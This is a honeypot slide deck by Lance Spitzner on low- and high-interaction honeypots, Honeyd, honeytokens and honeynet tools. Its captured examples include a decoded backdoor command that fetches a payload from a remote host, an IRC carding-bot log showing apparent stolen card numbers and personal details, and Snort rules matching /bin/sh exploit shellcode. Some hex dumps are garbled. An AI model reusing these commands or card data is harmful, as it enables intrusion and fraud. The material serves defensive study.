Future of Honeypots

Lance Spitzner
Your Speaker

- Founder, Honeynet Project & Honeypot Technologies Inc.
- Moderator, honeypot mailing list
- Author, *Honeypots: Tracking Hackers* & Co-author, *Know Your Enemy*
- Prior life - Officer, Rapid Deployment Force
Purpose

Latest developments in honeypots.
Agenda

- Honeypots
- Low Interaction
- High Interaction
Honeypots
Problem

- Your resources are a big, fat static target. The bad guys can attack them whenever they want, however they want.

- The bad guys have the initiative (and are getting better).
New Tactics - Backdoor

02/19-04:34:10.529350 206.123.208.5 -> 172.16.183.2
PROTO011 TTL:237 TOS:0x0 ID:13784 IpLen:20 DgmLen:422
02 00 17 35 B7 37 BA 3D B5 38 BB F2 36 86 BD 48 ...5.7.=.8..6..H
D3 5D D9 62 EF 6B A2 F4 2B AE 3E C3 52 89 CD 57 .] .b.k..+>.R.W
DD 69 F2 6C E8 1F 8E 29 B4 3B 8C D2 18 61 A9 F6 .i.i...) .;...a...
3B 84 CF 18 5D A5 EC 36 7B C4 15 64 B3 02 4B 91 ;...] ..6{ ..d..K.
0E 94 1A 51 A6 DD 23 AE 32 B8 FF 7C 02 88 CD 58 ...Q..#..2..|..X
D6 67 9E F0 27 A1 1C 53 99 24 A8 2F 66 B8 EF 7A .g..\S.$./f..z
F2 7B B2 F6 85 12 A3 20 57 D4 5A E0 25 B0 2E BF .{ .... W.Z.\%
F6 48 7F C4 0A 95 20 AA 26 AF 3C B8 EF 41 78 01 .H.... &.<..Ax.
85 BC 00 89 06 3D BA 40 C6 0B 96 14 A5 DC 67 F2 ......=.@......g.
7C F8 81 0E 8A DC F3 0A 21 38 4F 66 7D 94 AB C2 |........!8Of}...
D9 F0 07 1E 35 4C 63 7A 91 A8 BF D6 ED 04 1B 32 ....5Lcz.........2
49 60 77 8E A5 BC D3 EA 01 18 2F 46 5D 74 8B A2 I\s........../F] t..
B9 D0 E7 FE 15 2C 43 5A 71 88 9F B6 CD E4 FB 12 ......,CZq.........
starting decode of packet size 420
17 35 B7 37 BA 3D B5 38 BB F2 36 86 BD 48 D3 5D
local buf of size 420
00 07 6B 69 6C 61 6C 20 2D 39 20 74 74 73  ..killall -9 tts
65 72 76 65 20 3B 20 6C 79 6E 78 20 74 74 73 erve ; lynx -source http://192.1
72 63 65 20 68 74 74 70 3A 2F 2F 31 39 32 2E 68.103.2:8882/fo
36 38 2E 31 30 33 2E 32 3A 38 38 32 2F 66 6F o /> /tmp/foo.tgz
31 30 33 30 33 30 33 30 33 30 33 30 33 30 33 72 76 65 3B 00 00 00 00 00 00 00 00 00 00 00 00 00 00 rve;..............
36 38 2E 31 30 33 2E 32 3A 38 38 32 2F 66 6F ...............
IPv6 Tunneling

12/01-18:13:11.515414 163.162.170.173 -> 192.168.100.28
IPV6 TTL:11 TOS:0x0 ID:33818 IpLen:20 DgmLen:1124
60 00 00 00 04 28 06 3B 20 01 07 50 00 02 00 00 `.....(;..P....
02 02 A5 FF FE F0 AA C7 20 01 06 B8 00 00 04 00 ............... ....
00 00 00 00 00 00 5D 0E 1A 0B 80 0C AB CF 0A 93 .....
03 30 B2 C1 50 18 16 80 C9 9A 00 00 3A 69 72 63 .0..P........:irc
36 2E 65 64 69 73 6F 06 6E 74 65 72 6E Relay Networ
6F 6D 65 20 74 6F 74 68 65 72 6E to the Inter
6E 65 74 20 52 6F 74 65 72 6E net Relay Networ
6B 20 60 4F 77 6E 5A 60 60 21 7E 61 68 61 40 k `OwnZ``:Welc
62 61 63 61 72 64 69 2E bacardi.orange.o
72 67 2E 72 75 0D 3A 69 72 63 36 rg.ru..:irc6.edi
73 6F 6E 74 65 6C 2E sontel.it 002 `O
77 6E 5A 60 60 20 3A 59 6F 75 72 20 68 6F 73 74 74 ownZ``:Your host
20 69 73 20 69 72 63 36 2E is irc6.edisont
Criminal Activity

04:55:16 COCO_JAA: !cc
04:55:23 {Chk}: 0,19(0 COCO_JAA 9)0 CC for U :4,1 Bob Johns|P. O. Box 126|Wendel, CA 25631|United States|510-863-4884|4407070000588951 06/05 (All This ccs update everyday From My Hacked shopping Database - You must regular come here for got all this ccs) 8*** 9(11 TraDecS Chk_Bot FoR #goldcard9)
04:55:42 COCO_JAA: !cclimit 4407070000588951
04:55:46 {Chk}: 0,19(0 COCO_JAA 9)0 Limit for Ur MasterCard (4407070000588951) : 0.881 $ (This Doesn't Mean Its Valid) 4*** 0(11 TraDecS Chk_bot FoR #channel)
04:56:55 COCO_JAA: !cardablesite
04:57:22 COCO_JAA: !cardable electronics
04:57:27 {Chk}: 0,19(0 COCO_JAA 9)0 Site where you can card electronics : *** 9(11 TraDecS Chk_bot FoR #goldcard9)
04:58:09 COCO_JAA: !cclimit 4234294391131136
04:58:12 {Chk}: 0,19(0 COCO_JAA 9)0 Limit for Ur Visa (4264294291131136) : 9.697 $ (This Doesn't Mean Its Valid) 4*** 0(11 TraDecS Chk_bot FoR #channel)
Solution

Honeypots allow you to take the initiative, they turn the tables on the bad guys.
Honeypots

A honeypot is an information system resource whose value lies in unauthorized or illicit use of that resource.
The Concept

- System has no production value, no authorized activity. Theoretically they should see nothing.

- Any interaction with the honeypot is most likely malicious in intent.
Flexible Tool

Honeypots do not solve a specific problem. Instead, they are a highly flexible tool with many different applications to security.
Types of Honeypots

- Interaction measures the activity a honeypot allows the attacker.

- The more interaction you allow, the more you can learn.

- The more interaction you allow, the complexity and risk you have.
Low interaction honeypots

- Primarily emulate services and operating systems.
- Emulation is easier to deploy and contains the attackers activity.
- Limited to capturing mainly known activity.
case $incmd_nocase in
  QUIT* )
    echo -e "221 Goodbye.
  exit 0;;
  SYST* )
    echo -e "215 UNIX Type: L8"
  ;;
  HELP* )
    echo -e "214-The following commands are recognized (* =>'s unimplemented).
    echo -e " USER PORT STOR MSAM* RNTO NLST MKD CDUP"
    echo -e " PASS PASV APPE MRSQ* ABOR SITE XMKD XCUP"
    echo -e " ACCT* TYPE MLFL* MRCP* DELE SYST RMD STOU"
    echo -e " SMNT* STRU MAIL* ALLO CWD STAT XRMD SIZE"
    echo -e " REIN* MODE MSND* REST XCWD HELP PWD MDTM"
    echo -e " QUIT RETR MSOM* RNFR LIST NOOP XPWD"
  ;;
  USER* )

High-interaction honeypots

- Used to gain information. That information has different value to different organizations.

- Does not emulate, but runs actual operating systems. Install FTP server.
ManTrap

<table>
<thead>
<tr>
<th>Host Operating System</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cage 1</td>
</tr>
<tr>
<td>Cage 2</td>
</tr>
<tr>
<td>Cage 3</td>
</tr>
<tr>
<td>Cage 4</td>
</tr>
</tbody>
</table>
Advances in Low-Interaction
Honeyd honeypot

- OpenSource honeypot developed and maintained by Niels Provos.
- Emulates services and operating systems.
- Often has the bleeding edge of honeypot capabilities.
How Honeyd works

- Monitors unused IP space.
- When it sees connection attempt, assumes IP and interacts with attacks.
- Can monitor literally millions of IP addresses at the same time.
Network with unused IPs
Monitors unused IPs
Capabilities

- Emulate IP stacks
- Create fake networks with latency
- Emulates advance services
- Create dynamic IDS signatures
- Tarpitting
- GRE Tunneling
Self-learning honeypots

- Monitors local network
- Dynamically deploys virtual honeypots based on network makeup.
Honeytokens

- Resources used for detection and tracking attackers.
- Items that should not be used.
  - Fake patient records
  - Bogus SSN or CC numbers
  - Emails
  - Planted files or documents (ala Cuckoo’s Egg)
  - Ability to call home
Combine tokens & pots

- Use honeytokens to redirect attackers to honeypots.
- Excellent for insider threats.
Advanced Attackers

- How do you build honeypots for advanced attackers?
- Go after the more advanced clientele.
Hot Zoning

- All inbound non-TCP 25 traffic OR any SMTP-based attacks
- Valid inbound SMTP traffic

Network diagram:
- Internet
- Mailserver
- Honeynet Gateway
- Target System
Deployment Challenge

- How do you deploy a lot of honeypots in very large networks?
Honeypot Farms
High Interaction Technology
Honeynets

- Honeynets are a high-interaction honeypot.
- Not a product, but an architecture.
- An entire network of systems designed to be compromised.
Latest Developments

- Snort_Inline
- Sebek2
- Bootable CDROM
- User Interface
Snort-inline

**drop tcp $EXTERNAL_NET any -> $HOME_NET 53** (msg:"DNS EXPLOIT named";flags: A+; content:"|CD80 E8D7 FFFFFFFF|/bin/sh";)

**alert tcp $EXTERNAL_NET any -> $HOME_NET 53** (msg:"DNS EXPLOIT named";flags: A+; content:"|CD80 E8D7 FFFFFFFF|/bin/sh"; replace:"|0000 E8D7 FFFFFFFF|/ben/sh";)
Sebek2

- Capture bad guys activities without them knowing.
- Insert kernel mods on honeypots.
- Mods are hidden
- Dump all activity to wire
- Bad guy can sniff any packet with pre-set MAC
Bootable CDROM

- Insert CDROM
- Boot
- Instant Honeynet Gateway (Honeywall)
User Interface

- Runs on Honeywall
- Analyze attacks in real time
<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Protocol</th>
<th>Source</th>
<th>Port</th>
<th>Dest</th>
<th>Port</th>
<th>Size</th>
<th>Source Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>2003-01-18</td>
<td>15:42:16</td>
<td>TCP</td>
<td>202.107.52.170</td>
<td>34781</td>
<td>10.1.1.105</td>
<td>21</td>
<td>view, p0f, ARIN (100)</td>
<td></td>
</tr>
<tr>
<td>2003-01-18</td>
<td>15:45:18</td>
<td>TCP</td>
<td>202.107.52.170</td>
<td>53763</td>
<td>10.1.1.103</td>
<td>21</td>
<td>view, p0f, ARIN (651)</td>
<td></td>
</tr>
<tr>
<td>2003-01-18</td>
<td>15:45:18</td>
<td>TCP</td>
<td>202.107.52.170</td>
<td>53764</td>
<td>10.1.1.101</td>
<td>21</td>
<td>view, p0f, ARIN (604)</td>
<td></td>
</tr>
<tr>
<td>2003-01-18</td>
<td>15:45:18</td>
<td>TCP</td>
<td>10.1.1.101</td>
<td>1027</td>
<td>202.107.52.170</td>
<td>113</td>
<td>view, ARIN (100)</td>
<td></td>
</tr>
<tr>
<td>2003-01-18</td>
<td>15:47:04</td>
<td>TCP</td>
<td>202.107.52.170</td>
<td>53996</td>
<td>10.1.1.101</td>
<td>21</td>
<td>view, p0f, ARIN, Snort (15k)</td>
<td></td>
</tr>
<tr>
<td>2003-01-18</td>
<td>15:47:05</td>
<td>TCP</td>
<td>10.1.1.101</td>
<td>1028</td>
<td>202.107.52.170</td>
<td>113</td>
<td>view, ARIN (100)</td>
<td></td>
</tr>
<tr>
<td>2003-01-18</td>
<td>15:50:42</td>
<td>TCP</td>
<td>10.1.1.101</td>
<td>1029</td>
<td>202.107.52.170</td>
<td>113</td>
<td>view, ARIN (100)</td>
<td></td>
</tr>
<tr>
<td>2003-01-18</td>
<td>15:52:16</td>
<td>TCP</td>
<td>62.99.207.73</td>
<td>3068</td>
<td>10.1.1.101</td>
<td>80</td>
<td>view, p0f, ARIN, plugin (9k)</td>
<td></td>
</tr>
<tr>
<td>2003-01-18</td>
<td>15:53:28</td>
<td>TCP</td>
<td>202.162.193.147</td>
<td>61115</td>
<td>10.1.1.101</td>
<td>22</td>
<td>view, p0f, ARIN (55k)</td>
<td></td>
</tr>
<tr>
<td>2003-01-18</td>
<td>15:54:46</td>
<td>TCP</td>
<td>10.1.1.101</td>
<td>1030</td>
<td>212.15.64.41</td>
<td>80</td>
<td>view, ARIN, plugin (522k)</td>
<td></td>
</tr>
<tr>
<td>2003-01-18</td>
<td>15:54:46</td>
<td>ICMP</td>
<td>10.14.0.20</td>
<td>0</td>
<td>10.1.1.101</td>
<td>0</td>
<td>view, ARIN (0)</td>
<td></td>
</tr>
<tr>
<td>2003-01-18</td>
<td>15:55:37</td>
<td>ICMP</td>
<td>10.14.0.20</td>
<td>0</td>
<td>10.1.1.101</td>
<td>0</td>
<td>view, ARIN (0)</td>
<td></td>
</tr>
<tr>
<td>2003-01-18</td>
<td>15:56:34</td>
<td>TCP</td>
<td>10.1.1.101</td>
<td>1031</td>
<td>205.158.62.27</td>
<td>25</td>
<td>view, ARIN (1k)</td>
<td></td>
</tr>
<tr>
<td>2003-01-18</td>
<td>15:57:35</td>
<td>UDP</td>
<td>64.56.227.36</td>
<td>1026</td>
<td>10.1.1.101</td>
<td>137</td>
<td>view, ARIN (78)</td>
<td></td>
</tr>
<tr>
<td>2003-01-18</td>
<td>15:57:35</td>
<td>UDP</td>
<td>64.56.227.36</td>
<td>1026</td>
<td>10.1.1.103</td>
<td>137</td>
<td>view, ARIN (78)</td>
<td></td>
</tr>
<tr>
<td>2003-01-18</td>
<td>15:57:35</td>
<td>UDP</td>
<td>64.56.227.36</td>
<td>1026</td>
<td>10.1.1.104</td>
<td>137</td>
<td>view, ARIN (78)</td>
<td></td>
</tr>
</tbody>
</table>
Summary

- We are just beginning to see the potential for honeypots.

- Honeypots are where firewalls were ten years ago *(Marcus Ranum)*
Resources

- Honeypot website
  - www.tracking-hackers.com

- Honeypots maillist
  - www.securityfocus.com/popups/forums/honeypots/faq.html
Resources - Books

- *Know Your Enemy*

- *Honeypots: Tracking Hackers*
http://www.honeypots.com

Lance Spitzner
<lance@honeypots.com>